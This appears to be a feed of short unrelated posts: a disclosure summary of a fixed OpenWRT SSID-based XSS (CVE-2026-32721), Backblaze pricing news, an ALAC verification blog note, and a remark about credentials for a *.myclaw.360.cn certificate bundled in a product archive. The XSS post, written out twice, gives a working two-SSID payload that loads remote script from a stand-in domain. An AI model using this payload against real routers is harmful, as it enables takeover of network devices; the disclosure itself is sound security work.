CVE-2026-32721, XSS fixed in OpenWRT 24.10.6 / 25.12.1
tldr:
SSID 1: <a id=s href=//domain/x.js>
SSID 2: <img src=x onerror=import(s)>
https://mxsasha.eu/posts/openwrt-ssid-xss-to-root/
tldr:
SSID 1: <a id=s href=//domain/x.js>
SSID 2: <img src=x onerror=import(s)>
https://mxsasha.eu/posts/openwrt-ssid-xss-to-root/
mxsasha.eu
Root from the parking lot: OpenWRT XSS through SSID scanning (CVE-2026-32721)
Lately, I’ve been experimenting with unusual XSS vectors. XSS (cross-site scripting) allows an attacker to execute arbitrary JavaScript in another …
5/1 起 Backblaze B2 调价；API 不再收费，存储从 $6 涨价至 $6.95/TB。
backblaze.com/~
#Backblaze
backblaze.com/~
#Backblaze
Backblaze Blog | Cloud Storage & Cloud Backup
Backblaze Pricing and Product Updates
Read more about Backblaze pricing and product updates.
Encoded date 仍然是 2025-06-23，证明苹果并没有重新编码。鉴于内录测试已经证明了下载器的可靠性，故此次并没有重新使用内录法测试，有兴趣的可自行验证。另外从统计里看到这篇文章被引用到了很多其他语种的奇奇怪怪的地方去，故在文章开头放了段英文的 TLDR 供参考。
https://blog.hanlin.press/2025/09/ALAC-Verification-Guide/
CN=*.myclaw.360.cn
位于 /path/to/namiclaw/components/Openclaw/openclaw.7z/credentials有效期1年
